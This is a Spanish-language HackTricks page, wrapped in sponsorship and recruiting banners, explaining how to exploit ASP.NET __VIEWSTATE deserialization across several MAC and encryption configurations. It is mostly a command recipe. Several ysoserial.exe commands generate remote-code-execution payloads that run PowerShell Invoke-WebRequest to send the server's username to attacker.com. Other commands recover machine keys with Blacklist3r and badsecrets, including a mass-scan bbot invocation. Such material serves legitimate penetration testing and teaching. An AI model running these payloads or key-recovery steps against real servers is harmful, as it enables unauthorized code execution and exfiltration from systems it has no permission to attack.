# Explotando \_\_VIEWSTATE sin conocer los secretos
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_). {% embed url="https://www.stmcyber.com/careers" %} ## ¿Qué es ViewState? **ViewState** es el método que el framework ASP.NET utiliza por defecto para **preservar los valores de la página y los controles entre las páginas web**. Cuando se renderiza el HTML de la página, el estado actual de la página y los valores que deben mantenerse durante el postback se serializan en cadenas codificadas en base64 y se muestran en el campo o campos ocultos ViewState.\ Las siguientes propiedades o combinaciones de propiedades se aplican a la información de ViewState: * Base64 * Se puede definir utilizando el atributo EnableViewStateMac y el modo de cifrado ViewStateEncryptionMode establecido en false * Base64 + MAC (Código de Autenticación de Mensajes) habilitado * Se puede definir utilizando el atributo EnableViewStateMac establecido en true * Base64 + Cifrado * Se puede definir utilizando el atributo viewStateEncryptionMode establecido en true ## Casos de prueba ![](<../../.gitbook/assets/image (309) (2).png>) ### Caso de prueba: 1 - EnableViewStateMac=false y viewStateEncryptionMode=false También es posible desactivar completamente ViewStateMAC estableciendo la clave del registro `AspNetEnforceViewStateMac` en cero en: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` **Identificación de los atributos de ViewState** Puede intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite: ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png) Si no se utiliza Mac para proteger el parámetro, puede explotarlo utilizando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net). ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` ### Caso de prueba 1.5 - Como el caso de prueba 1 pero la cookie ViewState no es enviada por el servidor Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una solicitud HTTP (el usuario no recibirá esta cookie). Se puede asumir que si **ViewState** no está presente, su implementación es **segura** de cualquier posible vulnerabilidad que surja con la deserialización de ViewState. Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr la **ejecución de código** como se muestra en el **Caso 1**. ### Caso de prueba: 2 - .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false Para **habilitar ViewState MAC** para una **página específica**, necesitamos hacer los siguientes cambios en un archivo aspx específico: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` También podemos hacerlo para la aplicación en **general** configurándolo en el archivo **web.config** como se muestra a continuación: ```markup ``` Como el parámetro está protegido por MAC, para ejecutar con éxito el ataque primero necesitamos conocer la clave utilizada. En este caso, BurpSuite nos informará de que el parámetro está protegido por MAC: ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png) Puedes intentar usar [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar la clave utilizada. ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/" --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png) [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencias de Windows. Para los viewstates de .NET, existe una utilidad "python blacklist3r", que es la forma más rápida de usarlo. Puede suministrarse directamente con el viewstate y el generador: ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets cd badsecrets python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE ``` O, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML: ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets cd badsecrets python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx ``` Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo `badsecrets` de [**BBOT**](exploiting-\_\_viewstate-parameter.md): ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` ![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) Si tienes suerte y encuentras la clave, puedes proceder con el ataque usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --generator = {__VIWESTATEGENERATOR parameter value} ``` En los casos en los que el parámetro `_VIEWSTATEGENERATOR` **no es enviado** por el servidor, **no** es necesario **proporcionar** el parámetro `--generator`, **pero sí estos**: ```bash --apppath="/" --path="/hello.aspx" ``` ### Caso de prueba: 3 - .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true En este caso, Burp no encuentra si el parámetro está protegido con MAC porque no reconoce los valores. Entonces, es probable que el valor esté encriptado y **necesitarás la clave de máquina para encriptar tu carga útil** para explotar la vulnerabilidad. ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png) **En este caso, el módulo** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está en desarrollo...** Antes de .NET 4.5, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin encriptar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **sólo comprueba** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin encriptar, todavía se procesará.** Por lo tanto, si se conoce la clave de máquina (por ejemplo, a través de un problema de recorrido de directorios), se puede utilizar el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState. * Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará como se muestra en la figura: ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png) ### Caso de prueba: 4 - .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false Podemos forzar el uso del marco de trabajo ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación. ```markup ``` Alternativamente, esto se puede hacer especificando la siguiente opción dentro del parámetro `machineKey` del archivo web.config. ```bash compatibilityMode="Framework45" ``` Como en el caso anterior, Burp no identifica si la solicitud está protegida por MAC porque el **valor está encriptado**. Por lo tanto, para enviar una **carga útil válida, el atacante necesita la clave**. ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png) Puede intentar usar [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar la clave que se está utilizando: ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx" --encrypteddata = {__VIEWSTATE parameter value} --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` Para obtener una descripción más detallada de IISDirPath y TargetPagePath, consulte [aquí](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png) O, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con un valor de generador): ``` cd badsecrets python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415 ``` Una vez que se identifica una clave de máquina válida, **el siguiente paso es generar un payload serializado usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parámetro `--generator` con ese valor y **omitir** los parámetros `--path` y `--apppath`. ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png) Si se explota con éxito la vulnerabilidad de deserialización de ViewState, un servidor controlado por el atacante recibirá una solicitud fuera de banda que contiene el nombre de usuario. [PoC de explotación exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) ### Caso de prueba 6 - Se está utilizando ViewStateUserKeys La propiedad **ViewStateUserKey** se puede utilizar para **defenderse** contra un **ataque CSRF**. Si se ha definido una clave de este tipo en la aplicación y se intenta generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\ Es necesario utilizar un parámetro más para crear correctamente la carga útil: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` ### Resultado de una explotación exitosa Para todos los casos de prueba, si el payload ViewState YSoSerial.Net funciona **exitosamente**, entonces el servidor responde con un error interno del servidor "500" con el contenido de respuesta "La información de estado es inválida para esta página y puede estar corrupta" y obtenemos la solicitud OOB como se muestra en las figuras a continuación: ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png) solicitud fuera de banda con el nombre de usuario actual ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png) ## Referencias * [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) * [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\ * [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) * [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_). {% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).